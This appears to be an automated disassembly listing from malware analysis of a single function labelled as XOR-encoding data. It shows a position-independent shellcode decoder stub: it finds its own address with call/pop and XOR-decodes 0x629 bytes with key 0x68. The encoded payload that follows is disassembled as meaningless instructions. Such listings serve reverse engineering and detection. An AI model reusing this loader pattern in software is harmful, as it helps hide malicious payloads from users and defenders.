Function at 0x8e1004
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e100a
pop ebp
sub ebp, 6
sub ebp, 0x4e1004
jmp 0x8e1068
jmp 0x8e1071
mov eax, 0x4e1004
add eax, ebp
add eax, 0x93
mov ecx, 0x629
mov edx, 0x19faef68
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e1088
jmp 0x8e109b
add byte [edi], ch
sahf
dec ebp
in al, dx
add ch, byte [eax]
add byte [eax + 0x78], ch
push 0xa4680068
inc esp
push 0x9738a85b
std
push esp
cmp dword [eax + ebp*2], ebp
cmp bl, ah
movsd dword es:[edi], dword [esi]
jecxz 0x8e1096
push esp
push 0xa9e96868
nop
push 0xa56b6868
shr byte [esi + 0x68], 1
push 0x6840d268
push 0x6b8a9f68
mov al, byte [0x6864e9e3]
push 0x38ad6b68
add byte [esi + 0x68615d], bl
mov dl, 0x2c
push 0x4c4469
push 0x80686868
insd dword es:[edi], dx
push 0x40816868
push 0xe33d6868
test bl, ah
in eax, dx
pushal
push 0xfde36868
push 0xe5e36868
js 0x8e116f
push 0x6a81a968
pop ecx
push 0xffffffffffffffeb
stosb byte es:[edi], al
insb byte es:[edi], dx
and dword [edi - 0x13], esp
pushfd
xchg edi, eax
xchg edi, eax
xchg edi, eax
xor eax, 0xe36864aa
in al, 0x4c
insb byte es:[edi], dx
push 0x9e006868
pop ebp
popal
push 0x2cb26500
push 0x394c4469
sub byte [ebp + 0x68], 0x68
push 0x686a5781
push 0x9784e33d
sbb eax, 0x601d9764
sbb byte [edx], 0x68
push 0x60d5e368
push 0x99e96868
pop esp
invalid
push cs
jecxz 0x8e11e6
push ecx
call 0xecf5920b
jb 0x8e11e2
push 0x8193e868
in al, dx
jns 0x8e11eb
push 0x93e90e68
xchg edi, eax
dec ebp
in al, dx
jge 0x8e11f6
push 0xa4812968
xchg edi, eax
xchg edi, eax
xchg edi, eax
inc ecx
and al, 0x51
imul ebp, ebx, 0x80eb6da9
insb byte es:[edi], dx
adc ebp, 0x41979797
cmp al, 0x51
push 0xffffffffffffffeb
test eax, 0x6c82eb6e
jmp 0x8e1131
push 0x3e84e33d
aas
cmp eax, 0xe3641de3
adc eax, 0xe8da9460
loop 0x8e123a
jmp 0x68f67b7f
imul ebp, dword [eax + 0x68], 0xe96fe068
scasd eax, dword es:[edi]
push 0xafe96fe0
imul ebp, dword [eax + 0x68], 0x686ad368
push 0x67ba6a68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0x8e11a6
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e11a6
push 0x7a2e7ee2
mov edx, 0x97b0eb67
jmp 0x8e119f
xchg edi, eax
xchg edi, eax
xchg edi, eax
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e11b9
mov edx, 0x6802eb67
push 0x6aa85b68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0x8e11ce
jmp 0x8e1204
push 0xba6aa85b
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e11ce
push 0x7a2e7ee2
mov edx, 0x6942eb67
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e11e1
jmp 0x8e1259
jnp 0x8e11d1
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e11f0
jnp 0x8e11e0
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e11ff
jnp 0x8e11ef
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e120e
jnp 0x8e11fe
in al, dx
outsb dx, byte [esi]
push 0xb7e36868
inc ebx
mov al, 0xe2
imul esp, eax, 0x6f
das
shr dword [edx + 0x68], cl
push 0x97188168
xchg edi, eax
xchg edi, eax
shr byte [ecx + 0x68], 1
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e123b
jnp 0x8e122b
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x8e124a
ljmp 0xab43:0x979797b6